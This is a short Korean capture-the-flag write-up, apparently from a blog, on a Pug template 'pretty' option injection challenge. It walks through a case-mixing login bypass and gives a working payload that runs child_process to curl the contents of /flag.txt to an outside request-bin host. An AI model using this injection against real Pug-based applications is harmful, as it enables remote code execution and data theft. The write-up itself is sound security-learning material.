pug pretty vuln
web문제를 잘 풀려면 검색을 잘해야 한다고 느끼게 해준 문제다
우선 사이트의 기능을 살펴본 결과 다음과 같다
해당 기능들과 관련하여 제공된 소스코드를 확인해보면 어디에도 플래그를 출력해주는 부분을 찾을 수 없다;;
그러면 이번문제는 rce를 통해서 flag파일을 읽어오는 문제라고 생각했다
이번 문제에서는 특이하게 pug파일을 사용했다
바로 검색을 해보자
pug의 pretty 옵션을 이용하면 rce가 가능하다고 한다
그러면 문제에서 pretty옵션을 어떻게 사용이 가능한지 코드에서 찾아보자
pretty
로 검색을 한 결과 /edit
엔드포인트에서 req.body
로 입력을 받는걸 확인할 수 있다
하지만 중간에 now
가 BISC2023
이어야만 pretty
를 입력할 수 있다
login페이지를 보면 로그인할 때 사용한 id가 now로 정의된 것을 확인할 수 있으며 BISC2023
, bisc2023
의 로그인을 막고있다는 것을 알 수 있다
하지만 bisC2023
, Bisc2023
등 대문자와 소문자를 섞어 얼마든지 우회하여 로그인을 할 수 있다
이제 알아낸 정보들을 가지고 플래그를 얻어보자
비밀번호는 하드코딩되어 있으니 이걸 이용해서 로그인을 하자
');process.mainModule.constructor._load('child_process').exec('curl https://dhlrqrb.request.dreamhack.games/$(cat /flag.txt)');_=('
위에서 확인한 github의 payload를 약간 수정하여 이용하자
cat /flag.txt로 플래그를 읽어온 후 dreamhack의 request bin에 요청을 보내는 방법을 사용했다
작성한 payload로 게시글을 올린 후 Edit로 들어가서 패킷을 수정해주자
pretty파라미터를 추가해주고 payload를 넣어주고 수정을 완료하면 된다
그 다음 작성한 게시글에 들어가면 이렇게 나오는데 무언가 작동했다는걸 알 수 있다
request bin을 확인하면 플래그가 도착했다